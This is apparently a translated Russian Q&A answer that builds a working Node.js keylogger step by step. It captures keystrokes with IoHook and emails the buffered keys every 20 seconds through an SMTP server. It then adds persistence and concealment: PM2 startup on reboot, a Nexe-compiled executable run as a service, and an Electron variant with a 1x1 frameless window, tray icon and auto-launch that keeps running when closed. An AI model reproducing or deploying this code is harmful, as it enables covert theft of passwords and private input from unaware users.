Да, это возможно.
Для реализации ядра мне понадобились две основные внешние библиотеки: IoHook и NodeMailer.
"dependencies": { "iohook": "^0.9.3", "nodemailer": "^6.7.2" }
Первый шаг — запустить прослушиватель IoHook для событий keyDown, читая фактический символ из пользовательской карты ввода, определенной ad-hoc. На самом деле, к сожалению, код нажатой клавиши, возвращаемый событием, не соответствует реальному коду специальных символов, поэтому мы не можем использовать функцию String.fromCharCode().
const ioHook = require('iohook'); const keyNamesWin = { // ... 52: '.', 53: 'ù', 54: 'Shift' //.... } let cache = [] ioHook.on('keydown', (event) => { cache.push(keyNamesWin[event.keycode]) });
Вторым шагом является фактическая настройка учетной записи SMTP NodeMailer. В данном случае я использую поддельный аккаунт MailTrap.io.
const nodemailer = require('nodemailer'); const transport = nodemailer.createTransport({ host: "smtp.mailtrap.io", port: 2525, auth: { user: "xxxx", pass: "xxxx" } });
Третий шаг — использовать функцию IIFE для включения таймера, который фактически отправляет почту с нажатой клавишей, сохраненной в переменной cache.
(function timer() { if (cache.length > 0) { mailOptions.text = cache.toString() console.log('mail') transport.sendMail(mailOptions, (error, info) => { if (error) { return console.log(error); } console.log('Message sent: %s', info.messageId); }); cache = []; } else { console.log('empty') } setTimeout(timer, 20000); })();
Что касается фактического выполнения программы, есть два основных сценария: запуск этого приложения на компьютере, на котором установлена и доступна среда выполнения Node.JS, и на котором Node.JS не установлен.
В первом случае (NodeJS===true) мы могли бы просто выполнить скрипт с помощью диспетчера процессов PM2 для Node.JS.
> npm install -g pm2 > pm2 start index.js
Также можно включить сценарий запуска PM2, чтобы он запускался при перезагрузке системы. (Для Windows-машин это немного сложнее, но в любом случае выполнимо).
Во втором случае (NodeJS===false) одним из решений является использование Nexe для компиляции приложения Node.js в один исполняемый файл. Вам необходимо выбрать подходящую среду выполнения для исполняемого файла из этого списка. Возможно, вы захотите установить этот исполняемый файл как службу. Для окон можно использовать классный NSSM.
> npm install -g nexe > nexe index.js -o test -t windows --build --verbose
(Примечание: первая сборка займет некоторое время. Для Windows может также потребоваться установить NASM.)
Другим решением для ОС Windows может быть создание приложения Electron.JS, которое может запускаться в свернутом виде и автоматически настраиваться для запуска при запуске.
const AutoLaunch = require('auto-launch'); const nodemailer = require('./node_modules/nodemailer') const ioHook = require('./node_modules/iohook') function init() { // here we have the exact same code for the keylogger provided above. } let tray = null function createWindow () { let autoLaunch = new AutoLaunch({ name: 'Your app name goes here', path: app.getPath('exe'), }); autoLaunch.isEnabled().then((isEnabled) => { if (!isEnabled) autoLaunch.enable(); }); const mainWindow = new BrowserWindow({ width: 1, height: 1, frame: false, webPreferences: { nodeIntegration: true, enableRemoteModule: true } }); tray = new Tray('icon.png') tray.setToolTip('This is my application.') tray.setContextMenu(Menu.buildFromTemplate([ {label: 'Disable', type: 'radio'} ])) mainWindow.loadFile('index.html') mainWindow.on('minimize', function (event) { event.preventDefault(); mainWindow.hide(); }); mainWindow.on('close', function (event) { if (!application.isQuiting) { mainWindow.minimize(); } return false; }); mainWindow.minimize() init(); } app.whenReady().then(() => { createWindow() app.on('activate', function () { if (BrowserWindow.getAllWindows().length === 0) createWindow() }) })
В этом случае необходимо определить цель для библиотеки IoHook внутри package.json на корневом уровне.
"iohook": { "targets": [ "node-83", // this is the node ABI "electron-87" // this is the electron ABI ], "platforms": [ "win32", "darwin", "linux" ], "arches": [ "x64", "ia32" ] },
Наконец, Электрон-строитель предоставит установщик этого приложения Electron, который запустится в виде значка на панели задач.